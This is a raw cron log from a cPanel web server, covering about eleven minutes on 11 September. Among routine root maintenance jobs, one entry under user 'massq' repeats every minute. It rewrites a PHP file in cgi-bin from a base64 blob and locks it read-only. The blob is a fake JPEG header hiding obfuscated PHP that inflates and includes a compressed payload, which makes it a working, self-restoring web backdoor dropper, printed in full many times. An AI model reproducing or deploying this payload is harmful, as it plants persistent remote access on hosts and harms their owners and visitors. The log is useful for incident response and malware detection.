Sep 11 02:34:01 server CROND[10617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:34:01 server CROND[10619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:34:01 server CROND[10618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:35:01 server CROND[10995]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:35:01 server CROND[10994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:35:01 server CROND[11000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:35:01 server CROND[11004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:35:01 server CROND[10999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:35:01 server CROND[11001]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:35:01 server CROND[10997]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 02:35:01 server CROND[10998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:35:01 server CROND[11003]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 02:36:01 server CROND[11970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:36:01 server CROND[11971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:36:01 server CROND[11972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:37:01 server CROND[12337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:37:01 server CROND[12338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:37:01 server CROND[12339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:38:01 server CROND[12745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:38:01 server CROND[12746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:38:01 server CROND[12747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:39:01 server CROND[13117]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 02:39:01 server CROND[13119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:39:01 server CROND[13118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:39:01 server CROND[13120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:40:01 server CROND[13511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:40:01 server CROND[13513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:40:01 server CROND[13515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:40:01 server CROND[13514]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:40:01 server CROND[13518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:40:01 server CROND[13519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:40:01 server CROND[13517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:40:01 server CROND[13516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:41:01 server CROND[14447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:41:01 server CROND[14448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:41:01 server CROND[14446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:42:01 server CROND[14821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:42:01 server CROND[14822]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 02:42:01 server CROND[14823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:42:01 server CROND[14824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:43:01 server CROND[15194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:43:01 server CROND[15195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:43:01 server CROND[15196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:44:01 server CROND[15661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:44:01 server CROND[15663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:44:01 server CROND[15662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:45:01 server CROND[16052]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:45:01 server CROND[16057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:45:01 server CROND[16054]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:45:01 server CROND[16059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
